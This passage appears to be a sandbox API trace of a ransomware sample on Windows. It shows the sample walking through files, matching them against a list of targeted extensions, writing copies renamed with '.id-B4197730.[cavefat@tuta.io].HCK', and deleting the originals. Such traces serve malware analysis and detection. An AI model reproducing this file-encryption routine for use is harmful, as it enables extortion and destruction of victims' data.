returned -1 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.690] lstrlenW (lpString=".dbf") returned 4 [0180.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.690] lstrlenW (lpString=".1cd") returned 4 [0180.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.690] lstrlenW (lpString=".jpg") returned 4 [0180.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.691] lstrlenW (lpString=".doc") returned 4 [0180.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString=".docx") returned 5 [0180.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.691] lstrlenW (lpString=".pdf") returned 4 [0180.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString=".xls") returned 4 [0180.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.691] lstrlenW (lpString=".xlsx") returned 5 [0180.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.691] lstrlenW (lpString=".ppt") returned 4 [0180.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.691] lstrlenW (lpString=".zip") returned 4 [0180.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.691] lstrlenW (lpString=".rar") returned 4 [0180.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString=".bz2") returned 4 [0180.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString=".7z") returned 3 [0180.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.691] lstrlenW (lpString=".dbf") returned 4 [0180.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.691] lstrlenW (lpString=".1cd") returned 4 [0180.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.691] lstrlenW (lpString=".jpg") returned 4 [0180.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.691] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.691] lstrlenW (lpString="SO00828_.WMF") returned 12 [0180.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.693] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10414) returned 1 [0180.693] CloseHandle (hObject=0x370) returned 1 [0180.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf")) returned 0x220 [0180.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.698] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.698] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00828_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00828_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.704] GetLastError () returned 0x0 [0180.704] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x28ae, lpOverlapped=0x0) returned 1 [0180.707] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x28b0, lpOverlapped=0x0) returned 1 [0180.708] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.708] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.709] SetEndOfFile (hFile=0x368) Thread: id = 293 os_tid = 0x1350 [0147.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x37c0990 [0147.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3d40048 [0147.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708678 [0147.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e670 [0147.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708690 [0147.785] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x3f44020 [0147.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7086a8 [0147.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7086a8, Size=0x20) returned 0x6eec98 [0147.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7086d8 [0147.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7086d8, Size=0x20) returned 0x6eeba8 [0147.787] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.787] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.788] Wow64DisableWow64FsRedirection (in: OldValue=0x338ff50 | out: OldValue=0x338ff50*=0x0) returned 1 [0147.788] lstrlenW (lpString="kernel32.dll") returned 12 [0147.788] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.788] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.788] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeba8 | out: hHeap=0x6b0000) returned 1 [0147.788] Sleep (dwMilliseconds=0x64) [0147.980] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0147.980] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0147.980] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.983] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=42674) returned 1 [0147.983] CloseHandle (hObject=0x2e8) returned 1 [0147.983] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0147.983] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0147.983] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.983] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.983] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.983] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0147.984] GetLastError () returned 0x0 [0147.984] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0147.993] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0147.994] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.994] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x11e, lpOverlapped=0x0) returned 1 [0147.994] SetEndOfFile (hFile=0x2ec) returned 1 [0147.994] CloseHandle (hObject=0x2ec) returned 1 [0147.995] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.995] SetEndOfFile (hFile=0x2e8) returned 1 [0147.996] CloseHandle (hObject=0x2e8) returned 1 [0147.996] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0147.996] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString=".doc") returned 4 [0147.997] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0147.997] lstrlenW (lpString=".docx") returned 5 [0147.997] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0147.997] lstrlenW (lpString=".pdf") returned 4 [0147.997] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString=".xls") returned 4 [0147.997] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString=".xlsx") returned 5 [0147.997] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0147.997] lstrlenW (lpString=".ppt") returned 4 [0147.997] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString=".zip") returned 4 [0147.997] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString=".rar") returned 4 [0147.997] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString=".bz2") returned 4 [0147.997] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0147.997] lstrlenW (lpString=".7z") returned 3 [0147.997] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString=".dbf") returned 4 [0147.997] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString=".1cd") returned 4 [0147.997] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString=".jpg") returned 4 [0147.997] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.997] lstrlenW (lpString=".doc") returned 4 [0147.997] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0147.997] lstrlenW (lpString=".docx") returned 5 [0147.997] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0147.997] lstrlenW (lpString=".pdf") returned 4 [0147.997] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString=".xls") returned 4 [0147.997] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0147.997] lstrlenW (lpString=".xlsx") returned 5 [0147.998] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0147.998] lstrlenW (lpString=".ppt") returned 4 [0147.998] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0147.998] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.998] lstrlenW (lpString=".zip") returned 4 [0147.998] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0147.998] lstrlenW (lpString=".rar") returned 4 [0147.998] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0147.998] lstrlenW (lpString=".bz2") returned 4 [0147.998] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0147.998] lstrlenW (lpString=".7z") returned 3 [0147.998] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0147.998] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.998] lstrlenW (lpString=".dbf") returned 4 [0147.998] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0147.998] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.998] lstrlenW (lpString=".1cd") returned 4 [0147.998] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0147.998] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.998] lstrlenW (lpString=".jpg") returned 4 [0147.998] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0147.998] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0147.998] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0147.998] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.000] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=156) returned 1 [0148.000] CloseHandle (hObject=0x2e8) returned 1 [0148.000] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0148.000] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.000] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.000] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.000] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.000] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.000] GetLastError () returned 0x0 [0148.000] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x9c, lpOverlapped=0x0) returned 1 [0148.001] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xa0, lpOverlapped=0x0) returned 1 [0148.002] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.002] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x100, lpOverlapped=0x0) returned 1 [0148.002] SetEndOfFile (hFile=0x2ec) returned 1 [0148.002] CloseHandle (hObject=0x2ec) returned 1 [0148.003] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.003] SetEndOfFile (hFile=0x2e8) returned 1 [0148.003] CloseHandle (hObject=0x2e8) returned 1 [0148.003] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.004] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0148.004] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.004] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.004] lstrlenW (lpString=".doc") returned 4 [0148.004] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.004] lstrlenW (lpString=".docx") returned 5 [0148.004] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0148.004] lstrlenW (lpString=".pdf") returned 4 [0148.004] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.004] lstrlenW (lpString=".xls") returned 4 [0148.004] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.004] lstrlenW (lpString=".xlsx") returned 5 [0148.004] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0148.004] lstrlenW (lpString=".ppt") returned 4 [0148.004] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.004] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.004] lstrlenW (lpString=".zip") returned 4 [0148.004] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.004] lstrlenW (lpString=".rar") returned 4 [0148.004] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.004] lstrlenW (lpString=".bz2") returned 4 [0148.004] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.004] lstrlenW (lpString=".7z") returned 3 [0148.004] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.004] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".dbf") returned 4 [0148.005] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".1cd") returned 4 [0148.005] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".jpg") returned 4 [0148.005] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".doc") returned 4 [0148.005] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0148.005] lstrlenW (lpString=".docx") returned 5 [0148.005] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0148.005] lstrlenW (lpString=".pdf") returned 4 [0148.005] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0148.005] lstrlenW (lpString=".xls") returned 4 [0148.005] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0148.005] lstrlenW (lpString=".xlsx") returned 5 [0148.005] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0148.005] lstrlenW (lpString=".ppt") returned 4 [0148.005] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".zip") returned 4 [0148.005] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0148.005] lstrlenW (lpString=".rar") returned 4 [0148.005] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0148.005] lstrlenW (lpString=".bz2") returned 4 [0148.005] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0148.005] lstrlenW (lpString=".7z") returned 3 [0148.005] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".dbf") returned 4 [0148.005] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".1cd") returned 4 [0148.005] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0148.005] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0148.005] lstrlenW (lpString=".jpg") returned 4 [0148.005] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0148.006] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0148.006] lstrlenW (lpString="desktop.ini") returned 11 [0148.006] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.006] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=129) returned 1 [0148.006] CloseHandle (hObject=0x2e8) returned 1 [0148.006] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0148.006] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.006] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.006] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.006] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.006] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[cavefat@tuta.io].HCK" (normalized: 